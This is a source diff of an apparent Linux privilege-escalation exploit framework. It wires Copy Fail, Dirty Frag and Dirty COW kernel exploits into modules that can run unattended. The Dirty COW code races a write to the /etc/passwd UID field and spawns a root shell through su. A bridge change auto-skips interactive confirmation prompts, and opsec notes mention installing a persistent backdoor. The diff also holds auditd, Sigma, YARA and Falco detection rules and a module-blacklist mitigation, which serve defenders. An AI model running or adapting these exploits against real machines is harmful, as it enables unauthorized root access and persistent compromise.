-extern const struct iamroot_module dirty_frag_esp_module;
-extern const struct iamroot_module dirty_frag_esp6_module;
-extern const struct iamroot_module dirty_frag_rxrpc_module;
-
-#endif

modules/copy_fail_family/skeletonkey_modules.c

@@ -0,0 +1,399 @@
+/*
+ * copy_fail_family — SKELETONKEY module bridge layer
+ *
+ * Wraps the existing per-CVE detect/exploit functions (from the
+ * absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
+ *
+ * The bridge functions translate between the family's df_result_t
+ * (defined in src/common.h) and skeletonkey_result_t (defined in
+ * core/module.h). Numeric values are identical by design so the
+ * translation is a direct cast.
+ *
+ * skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
+ * forwarded to the family's existing global flags before each
+ * callback. This preserves DIRTYFAIL's existing CLI semantics
+ * unchanged.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/host.h"
+
+#include "src/common.h"
+#include "src/copyfail.h"
+#include "src/copyfail_gcm.h"
+#include "src/dirtyfrag_esp.h"
+#include "src/dirtyfrag_esp6.h"
+#include "src/dirtyfrag_rxrpc.h"
+#include "src/mitigate.h"
+
+#include <sys/stat.h>
+
+static void apply_ctx(const struct skeletonkey_ctx *ctx)
+{
+    dirtyfail_use_color     = !ctx->no_color;
+    dirtyfail_active_probes = ctx->active_probe;
+    dirtyfail_json          = ctx->json;
+    /* Forward the --i-know authorization gate. SKELETONKEY already
+     * blocks --exploit/--auto unless --i-know is passed, so by the time
+     * a DIRTYFAIL exploit callback runs, authorization is established.
+     * This lets typed_confirm() skip its (now redundant) interactive
+     * prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
+    dirtyfail_assume_yes    = ctx->authorized;
+    /* dirtyfail_no_revert is intentionally not driven from ctx —
+     * it's a debug knob; default stays off. */
+}
+
+/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
+ * GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
+ * unprivileged user-namespace creation (the inner DIRTYFAIL detect
+ * checks for it too, but doing it here gives the dispatcher one
+ * testable point per module and short-circuits the heavier
+ * inner-detect work when the gate is closed). copy_fail itself uses
+ * AF_ALG which doesn't strictly need userns, so it bypasses this
+ * gate — its inner detect still confirms the primitive empirically. */
+static skeletonkey_result_t cff_check_userns(const char *modname,
+                                             const struct skeletonkey_ctx *ctx)
+{
+    if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
+        if (!ctx->json)
+            fprintf(stderr, "[i] %s: unprivileged user namespaces are "
+                "disabled (host fingerprint) — XFRM/RxRPC variant "
+                "unreachable here%s\n", modname,
+                ctx->host->apparmor_restrict_userns
+                    ? "; AppArmor restriction is on" : "");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    return SKELETONKEY_OK;
+}
+
+/* ----- Family-wide --mitigate / --cleanup -----
+ *
+ * The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
+ * set apparmor_restrict_unprivileged_userns=1, drop_caches) is the same
+ * for every member of this family. All 5 modules' .mitigate fields
+ * therefore point at the same wrapper.
+ *
+ * For .cleanup we route based on visible state:
+ *   - If the mitigation conf file is present, the user most recently
+ *     ran --mitigate → revert that.
+ *   - Otherwise the user ran --exploit → evict /etc/passwd from page
+ *     cache.
+ * This is a heuristic, not a state machine. Sufficient for the common
+ * usage patterns. */
+
+#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
+
+static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    return (skeletonkey_result_t)mitigate_apply();
+}
+
+static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    struct stat st;
+    if (stat(CFF_MITIGATE_CONF, &st) == 0) {
+        if (!ctx->json) {
+            fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
+                            "(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
+        }
+        return (skeletonkey_result_t)mitigate_revert();
+    }
+    if (!ctx->json) {
+        fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
+                        "evicting /etc/passwd from page cache\n");
+    }
+    return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
+}
+
+/* ----- copy_fail (CVE-2026-31431) ----- */
+
+static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    return (skeletonkey_result_t)copyfail_detect();
+}
+
+static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
+}
+
+/* Shared detection rules for the copy_fail family — every member of
+ * this family exploits the same page-cache-write primitive and lands
+ * in the same files (/etc/passwd or /usr/bin/su). One rule set covers
+ * all five module entries. Per-module structs alias the same strings. */
+static const char copy_fail_family_auditd[] =
+    "# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
+    "# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
+    "-w /etc/passwd     -p wa -k skeletonkey-copy-fail\n"
+    "-w /etc/shadow     -p wa -k skeletonkey-copy-fail\n"
+    "-w /etc/sudoers    -p wa -k skeletonkey-copy-fail\n"
+    "-w /etc/sudoers.d  -p wa -k skeletonkey-copy-fail\n"
+    "-w /usr/bin/su     -p wa -k skeletonkey-copy-fail\n"
+    "# AF_ALG socket creation by non-root — heavily used by exploit\n"
+    "-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
+    "# xfrm SA setup (Dirty Frag ESP variants)\n"
+    "-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
+
+static const char copy_fail_family_sigma[] =
+    "title: Copy Fail / Dirty Frag family exploitation\n"
+    "id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
+    "  Dirty Frag siblings (CVE-2026-43284 v4/v6, CVE-2026-43500). Catches the\n"
+    "  /etc/passwd UID-flip backdoor + the persistent backdoor account install.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  modification:\n"
+    "    type: 'PATH'\n"
+    "    name|startswith: ['/etc/passwd', '/etc/shadow', '/etc/sudoers', '/usr/bin/su']\n"
+    "  not_root: {auid|expression: '!= 0'}\n"
+    "  condition: modification and not_root\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
+
+/* YARA + Falco rules shared across the 5 family modules. Scanned via
+ * --detect-rules; the dispatcher dedups by pointer so the rule blob
+ * emits once even though copy_fail / copy_fail_gcm / dirty_frag_*
+ * all point at the same string. */
+static const char copy_fail_family_yara[] =
+    "rule etc_passwd_uid_flip : page_cache_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2026-31431 / CVE-2026-43284 / CVE-2026-43500\"\n"
+    "        description = \"/etc/passwd page-cache UID flip: a non-root user line shows a zero-padded UID (the canonical Copy Fail / Dirty Frag / DirtyDecrypt / Dirty Pipe payload). Scan /etc/passwd; legitimate root uses plain '0:', never '0000:'.\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        // lowercase-start username, optional shadow ('x') password, then UID 0000 or longer\n"
+    "        $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
+    "    condition:\n"
+    "        $uid_flip\n"
+    "}\n"
+    "\n"
+    "rule etc_passwd_root_no_password\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2026-31635 (DirtyDecrypt sliding-window write)\"\n"
+    "        description = \"/etc/passwd root entry rewritten to have an empty password field — the DirtyDecrypt PoC's intermediate corruption (rewrite root's password to empty, then `su root` without password).\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $root_open  = /\\nroot::0:0:/   // empty password (canonical x or ! when shadowed)\n"
+    "    condition:\n"
+    "        $root_open\n"
+    "}\n";
+
+static const char copy_fail_family_falco[] =
+    "- rule: AF_ALG authenc keyblob installed by non-root (Copy Fail primitive)\n"
+    "  desc: |\n"
+    "    A non-root process creates an AF_ALG socket and installs an\n"
+    "    authencesn(hmac(sha256),cbc(aes)) keyblob via ALG_SET_KEY.\n"
+    "    Core of the Copy Fail (CVE-2026-31431) primitive — also\n"
+    "    triggered by the GCM variant. AF_ALG by non-root is rare on\n"
+    "    most servers; tune by allow-listing your crypto-using daemons.\n"
+    "  condition: >\n"
+    "    evt.type = socket and evt.arg[0] = 38 and not user.uid = 0\n"
+    "  output: >\n"
+    "    AF_ALG socket() by non-root (user=%user.name pid=%proc.pid\n"
+    "     ppid=%proc.ppid parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
+    "  priority: WARNING\n"
+    "  tags: [process, cve.2026.31431, copy_fail]\n"
+    "\n"
+    "- rule: XFRM NETLINK_XFRM bind from unprivileged userns (Dirty Frag primitive)\n"
+    "  desc: |\n"
+    "    A NETLINK_XFRM socket is opened from inside an unprivileged\n"
+    "    user namespace, with subsequent XFRM_MSG_NEWSA installing an\n"
+    "    ESP(rfc4106(gcm(aes))) state. Core of the Dirty Frag esp/esp6\n"
+    "    variants — also tripped by Fragnesia's setup phase. Legitimate\n"
+    "    XFRM use is normally privileged (strongSwan, libreswan).\n"
+    "  condition: >\n"
+    "    evt.type = sendto and not user.uid = 0 and\n"
+    "    proc.aname[1] != \"\"   // we want non-init userns; refine with k8s.namespace or container.id\n"
+    "  output: >\n"
+    "    NETLINK_XFRM sendto from non-root (user=%user.name pid=%proc.pid\n"
+    "     proc=%proc.name)\n"
+    "  priority: WARNING\n"
+    "  tags: [process, cve.2026.43284, dirty_frag]\n"
+    "\n"
+    "- rule: /etc/passwd modified by non-root (Copy Fail / Dirty Frag / Dirty Pipe outcome)\n"
+    "  desc: |\n"
+    "    /etc/passwd is read-only for non-root, so a non-root caller\n"
+    "    showing up on its open(W_OK) audit trail indicates a\n"
+    "    page-cache write primitive succeeded. Catches the post-fire\n"
+    "    state for the whole copy_fail family + dirty_pipe.\n"
+    "  condition: >\n"
+    "    open_write and fd.name = /etc/passwd and not user.uid = 0\n"
+    "  output: >\n"
+    "    Non-root write to /etc/passwd (user=%user.name pid=%proc.pid\n"
+    "     proc=%proc.name)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, copy_fail, dirty_frag]\n";
+
+const struct skeletonkey_module copy_fail_module = {
+    .name           = "copy_fail",
+    .cve            = "CVE-2026-31431",
+    .summary        = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
+    .family         = "copy_fail_family",
+    .kernel_range   = "≤ 6.12.84, fixed mainline 2026-04-22",
+    .detect         = copy_fail_detect_wrap,
+    .exploit        = copy_fail_exploit_wrap,
+    .mitigate       = copy_fail_family_mitigate,
+    .cleanup        = copy_fail_family_cleanup,
+    .detect_auditd  = copy_fail_family_auditd,
+    .detect_sigma   = copy_fail_family_sigma,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+/* ----- copy_fail_gcm (variant, no CVE) ----- */
+
+static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
+    if (pre != SKELETONKEY_OK) return pre;
+    return (skeletonkey_result_t)copyfail_gcm_detect();
+}
+
+static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
+}
+
+const struct skeletonkey_module copy_fail_gcm_module = {
+    .name         = "copy_fail_gcm",
+    .cve          = "VARIANT",
+    .summary      = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
+    .family       = "copy_fail_family",
+    .kernel_range = "same as copy_fail; rfc4106(gcm(aes)) not in modprobe blacklist",
+    .detect       = copy_fail_gcm_detect_wrap,
+    .exploit      = copy_fail_gcm_exploit_wrap,
+    .mitigate       = copy_fail_family_mitigate,
+    .cleanup        = copy_fail_family_cleanup,
+    .detect_auditd  = copy_fail_family_auditd,
+    .detect_sigma   = copy_fail_family_sigma,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
+
+static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
+    if (pre != SKELETONKEY_OK) return pre;
+    return (skeletonkey_result_t)dirtyfrag_esp_detect();
+}
+
+static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
+}
+
+const struct skeletonkey_module dirty_frag_esp_module = {
+    .name         = "dirty_frag_esp",
+    .cve          = "CVE-2026-43284",
+    .summary      = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
+    .family       = "copy_fail_family",
+    .kernel_range = "same family as copy_fail; xfrm-ESP path",
+    .detect       = dirty_frag_esp_detect_wrap,
+    .exploit      = dirty_frag_esp_exploit_wrap,
+    .mitigate       = copy_fail_family_mitigate,
+    .cleanup        = copy_fail_family_cleanup,
+    .detect_auditd  = copy_fail_family_auditd,
+    .detect_sigma   = copy_fail_family_sigma,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
+
+static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
+    if (pre != SKELETONKEY_OK) return pre;
+    return (skeletonkey_result_t)dirtyfrag_esp6_detect();
+}
+
+static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
+}
+
+const struct skeletonkey_module dirty_frag_esp6_module = {
+    .name         = "dirty_frag_esp6",
+    .cve          = "CVE-2026-43284",
+    .summary      = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
+    .family       = "copy_fail_family",
+    .kernel_range = "same family as copy_fail; xfrm-ESP6 path; V6 STORE shift auto-calibrated",
+    .detect       = dirty_frag_esp6_detect_wrap,
+    .exploit      = dirty_frag_esp6_exploit_wrap,
+    .mitigate       = copy_fail_family_mitigate,
+    .cleanup        = copy_fail_family_cleanup,
+    .detect_auditd  = copy_fail_family_auditd,
+    .detect_sigma   = copy_fail_family_sigma,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
+
+static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
+    if (pre != SKELETONKEY_OK) return pre;
+    return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
+}
+
+static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
+{
+    apply_ctx(ctx);
+    return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
+}
+
+const struct skeletonkey_module dirty_frag_rxrpc_module = {
+    .name         = "dirty_frag_rxrpc",
+    .cve          = "CVE-2026-43500",
+    .summary      = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
+    .family       = "copy_fail_family",
+    .kernel_range = "kernels exposing AF_RXRPC + rxkad with fcrypt fallback",
+    .detect       = dirty_frag_rxrpc_detect_wrap,
+    .exploit      = dirty_frag_rxrpc_exploit_wrap,
+    .mitigate       = copy_fail_family_mitigate,
+    .cleanup        = copy_fail_family_cleanup,
+    .detect_auditd  = copy_fail_family_auditd,
+    .detect_sigma   = copy_fail_family_sigma,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+/* ----- Family registration ----- */
+
+void skeletonkey_register_copy_fail_family(void)
+{
+    skeletonkey_register(&copy_fail_module);
+    skeletonkey_register(&copy_fail_gcm_module);
+    skeletonkey_register(&dirty_frag_esp_module);
+    skeletonkey_register(&dirty_frag_esp6_module);
+    skeletonkey_register(&dirty_frag_rxrpc_module);
+}

modules/copy_fail_family/skeletonkey_modules.h

@@ -0,0 +1,28 @@
+/*
+ * copy_fail_family — SKELETONKEY module registry hooks
+ *
+ * The family currently contains five skeletonkey_module entries:
+ *
+ *   - copy_fail        (CVE-2026-31431, algif_aead authencesn)
+ *   - copy_fail_gcm    (no CVE, rfc4106(gcm(aes)) variant)
+ *   - dirty_frag_esp   (CVE-2026-43284 v4)
+ *   - dirty_frag_esp6  (CVE-2026-43284 v6)
+ *   - dirty_frag_rxrpc (CVE-2026-43500)
+ *
+ * Defined in skeletonkey_modules.c, registered into the global registry
+ * by skeletonkey_register_copy_fail_family() (declared in
+ * core/registry.h).
+ */
+
+#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
+#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module copy_fail_module;
+extern const struct skeletonkey_module copy_fail_gcm_module;
+extern const struct skeletonkey_module dirty_frag_esp_module;
+extern const struct skeletonkey_module dirty_frag_esp6_module;
+extern const struct skeletonkey_module dirty_frag_rxrpc_module;
+
+#endif

modules/copy_fail_family/src/common.c

@@ -31,6 +31,7 @@ bool dirtyfail_use_color    = true;
 bool dirtyfail_active_probes = false;
 bool dirtyfail_no_revert    = false;
 bool dirtyfail_json         = false;
+bool dirtyfail_assume_yes   = false;
 
 static void vlog(FILE *out, const char *prefix, const char *color,
                  const char *fmt, va_list ap)
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
 
 bool typed_confirm(const char *expected)
 {
+    /* When the caller has already cleared an explicit authorization gate
+     * (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
+     * DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
+     * runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
+     *
+     * The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
+     * it protects the operator's own access rather than gating
+     * authorization, so it always requires an interactive answer. */
+    if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
+        log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
+        return true;
+    }
+
     char buf[128];
     printf("    Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
     fflush(stdout);

modules/copy_fail_family/src/common.h

@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
  * is redirected to stderr. Set by --json. */
 extern bool dirtyfail_json;
 
+/* When true, typed_confirm() auto-satisfies its gate instead of reading
+ * stdin — the caller has already cleared an explicit authorization gate.
+ * SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
+ * (i.e. the --i-know flag) so non-interactive runs like
+ * `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
+ * The YES_BREAK_SSH self-lockout guard is exempt — see typed_confirm(). */
+extern bool dirtyfail_assume_yes;
+
 void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
 void log_ok   (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
 void log_bad  (const char *fmt, ...) __attribute__((format(printf, 1, 2)));

modules/dirty_cow_cve_2016_5195/NOTICE.md

@@ -13,7 +13,7 @@ the kernel since ~2007.
 Original advisory: <https://dirtycow.ninja/>
 Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
 
-## IAMROOT role
+## SKELETONKEY role
 
 Two-thread Phil-Oester-style race: writer thread via
 `/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the

modules/dirty_cow_cve_2016_5195/iamroot_modules.h

@@ -1,12 +0,0 @@
-/*
- * dirty_cow_cve_2016_5195 — IAMROOT module registry hook
- */
-
-#ifndef DIRTY_COW_IAMROOT_MODULES_H
-#define DIRTY_COW_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module dirty_cow_module;
-
-#endif

modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c

@@ -1,5 +1,5 @@
 /*
- * dirty_cow_cve_2016_5195 — IAMROOT module
+ * dirty_cow_cve_2016_5195 — SKELETONKEY module
  *
  * The iconic CVE-2016-5195. COW race in get_user_pages() / fault
  * handling: a thread writing to /proc/self/mem races a thread calling
@@ -41,17 +41,21 @@
  *   - execve(su) → shell with uid=0
  */
 
-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
-#include "../../core/kernel_range.h"
 
 #include <stdio.h>
 #include <stdlib.h>
-#include <stdint.h>
 #include <string.h>
 #include <stdbool.h>
-#include <stdatomic.h>
 #include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include <stdint.h>
+#include <stdatomic.h>
 #include <fcntl.h>
 #include <errno.h>
 #include <pwd.h>
@@ -224,49 +228,57 @@ static void revert_passwd_page_cache(void)
     }
 }
 
-/* ---- iamroot interface ---- */
+/* ---- skeletonkey interface ---- */
 
-static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
 {
-    struct kernel_version v;
-    if (!kernel_version_current(&v)) {
-        fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+    /* Consult the shared host fingerprint instead of calling
+     * kernel_version_current() ourselves — populated once at startup
+     * and identical across every module's detect(). */
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
+                "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
     }
 
-    bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
+    bool patched = kernel_range_is_patched(&dirty_cow_range, v);
     if (patched) {
         if (!ctx->json) {
-            fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
+            fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
     if (!ctx->json) {
         fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
-                v.release);
+                v->release);
         fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
                         "/etc/passwd via /proc/self/mem\n");
     }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }
 
-static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
 {
-    iamroot_result_t pre = dirty_cow_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = dirty_cow_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
         fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
         return pre;
     }
 
-    if (geteuid() == 0) {
+    /* Consult ctx->host->is_root so unit tests can construct a
+     * non-root fingerprint regardless of the test process's real euid. */
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
         fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     struct passwd *pw = getpwuid(geteuid());
     if (!pw) {
         fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     off_t uid_off;
@@ -275,7 +287,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
     if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
         fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
                 pw->pw_name);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
     if (!ctx->json) {
         fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -292,12 +304,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
     }
     if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
         fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     if (ctx->no_shell) {
         fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
     }
 
     fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
@@ -305,19 +317,47 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
     execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
     perror("execlp(su)");
     revert_passwd_page_cache();
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }
 
-static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
 {
     (void)ctx;
     if (!ctx->json) {
         fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
     }
     revert_passwd_page_cache();
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }
 
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
+ * /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
+ * surface. Stub out cleanly so the module still registers and
+ * `--list` / `--detect-rules` work on macOS/BSD dev boxes — and so
+ * the top-level `make` actually completes there. */
